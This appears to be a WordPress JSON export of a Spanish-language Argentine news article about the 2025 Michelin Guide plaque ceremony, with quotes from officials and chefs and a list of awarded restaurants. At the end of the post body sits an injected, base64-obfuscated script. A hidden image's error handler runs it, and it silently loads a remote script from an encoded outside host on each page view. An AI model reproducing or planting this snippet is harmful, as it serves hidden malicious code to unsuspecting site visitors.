{"id":18084,"date":"2025-05-26T19:44:54","date_gmt":"2025-05-26T22:44:54","guid":{"rendered":"https:\/\/nubesmgzdigital.com.ar\/?p=18084"},"modified":"2025-08-13T15:29:47","modified_gmt":"2025-08-13T18:29:47","slug":"distinguieron-a-80-establecimientos-gastronomicos-con-la-emblematica-guia-michelin","status":"publish","type":"post","link":"https:\/\/nubesmgzdigital.com.ar\/index.php\/2025\/05\/26\/distinguieron-a-80-establecimientos-gastronomicos-con-la-emblematica-guia-michelin\/","title":{"rendered":"Distinguieron a 80 establecimientos gastron\u00f3micos con la emblem\u00e1tica Gu\u00eda Michel\u00edn"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong><em>El evento convoc\u00f3 a chefs y emprendedores, as\u00ed como a referentes tur\u00edsticos de todo el pa\u00eds.<\/em><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">El secretario de Turismo, Ambiente y Deportes,\u00a0<strong>Daniel Scioli<\/strong>, particip\u00f3 esta tarde en la entrega de placas oficiales a los restaurantes argentinos que fueron distinguidos por la\u00a0<strong>Gu\u00eda Michelin<\/strong>. Este reconocimiento, el segundo para el pa\u00eds, reafirma el talento, la creatividad y la calidad de la cocina del pa\u00eds a nivel internacional.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Scioli<\/strong>\u00a0afirm\u00f3 en el evento: \u201c<em>La presencia de la Gu\u00eda tiene un efecto multiplicador en la econom\u00eda local y regional<\/em>\u201d. \u201c<em>Nuestros chefs y nuestros emprendedores gastron\u00f3micos son reconocidos en el mundo entero, cuando salimos a promocionar nuestro pa\u00eds la excelencia actual de la gastronom\u00eda argentina es uno de los grandes atractivos.<\/em>\u201d, culmin\u00f3.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Participaron tambi\u00e9n, el presidente de la C\u00e1mara Argentina de Turismo,&nbsp;<strong>Gustavo Hani<\/strong>; el presidente del Ente de Turismo de la Ciudad de Buenos Aires y del Consejo Federal de Turismo,&nbsp;<strong>Valent\u00edn D\u00edaz Gilligan<\/strong>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Durante el acto, el destacado Chef del restaurant Don Julio,&nbsp;<strong>Pablo Rivero<\/strong>, sostuvo: &#8220;<em>Estoy en un lugar con gente que admiro m\u00e1s que a m\u00ed mismo, deseo seguir teniendo oportunidades para celebrarlo entre nosotros. Es un gran momento, Argentina es un lugar de grandes restaurantes, otros pa\u00edses no tienen las ventajas que tenemos nosotros. Nos destacamos por la gran cultura gastron\u00f3mica en nuestro pa\u00eds<\/em>&#8220;.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Mientras que la CEO de Michelin,&nbsp;<strong>Eliana Banchik<\/strong>, destac\u00f3 la importancia de &#8220;<em>poder continuar con esta Gu\u00eda Michelin en Buenos Aires y Mendoza, donde reconocemos el talento actual y es un orgullo poder participar en este proceso<\/em>&#8220;.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Tambi\u00e9n agradeci\u00f3 al&nbsp;<strong>Inprotur<\/strong>&nbsp;por el apoyo brindado, \u201c<em>un apoyo mancomunado hace que evolucione el sector, el desarrollo de nuestra cultura argentina y el desarrollo de la Marca Pa\u00eds Argentina<\/em>\u201d. Reconoci\u00f3 a todos los chefs presentes por su sacrificio y compromiso al trabajo. &#8220;<em>Esto se refleja con el reconocimiento de estas placas. Hay que seguir posicionando a la Argentina en el lugar que tiene que estar dentro de la gastronom\u00eda mundial<\/em>\u201d, finaliz\u00f3.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Las&nbsp;<strong>distinciones<\/strong>&nbsp;para este a\u00f1o en Argentina alcanzan a un restaurante con dos estrellas, nueve con una, diez estrellas verdes, diez&nbsp;<em>bib gourmands<\/em>&nbsp;y 60 recomendados.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">El impacto positivo de la gu\u00eda logra beneficios en toda la cadena de suministro, no solo en el aumento de visitas a los restaurantes galardonados. Adem\u00e1s, su m\u00e9todo la convierte en una herramienta confiable utilizada por muchos viajeros que buscan experiencias diferentes relacionadas a la cultura gastron\u00f3mica de un destino particular.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Detalle de restaurantes argentinos reconocidos en 2025<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Dos estrellas: Aramburu (Buenos Aires)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Una estrella: Crizia, Don Julio y Trescha (Buenos Aires); Ang\u00e9lica Cocina Maestra, Azafr\u00e1n Brindillas, Casa Vigil, Riccitelli Bistr\u00f3 y Zonda Cocina de Paisaje (Mendoza).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Estrella verde de sostenibilidad en la cocina; Alcanfor, Ancho\u00edta, Crizia, Don Julio y El Preferido de Palermo (Buenos Aires); Ang\u00e9lica Cocina Maestra, Casa Vigil, Osad\u00eda de Crear (Mendoza), Riccitelli Bistr\u00f3 y Zonda Cocina de Paisaje (Mendoza).<\/p>\n\n\n\n<p>Bib gourmand (excelente relaci\u00f3n calidad-precio): \u00c1cido, Ajo Negro &#8211; Mar de Tapas, Anafe Bis Bistr\u00f3, Caseros, La Alacena Trattoria, Mengano, MN Santa In\u00e9s, Reliquia y Rep\u00fablica del Fuego\u00a0(Buenos\u00a0Aires)<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img decoding=\"async\" src=\"https:\/\/www.argentina.gob.ar\/profiles\/argentinagobar\/themes\/argentinagobar\/argentinagobar_theme\/logo_argentina-azul.svg\" alt=\"\" style=\"width:245px;height:auto\"\/><\/figure>\n<script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script>","protected":false},"excerpt":{"rendered":"<p>El evento convoc\u00f3 a chefs y emprendedores, as\u00ed como a referentes tur\u00edsticos de todo el pa\u00eds. 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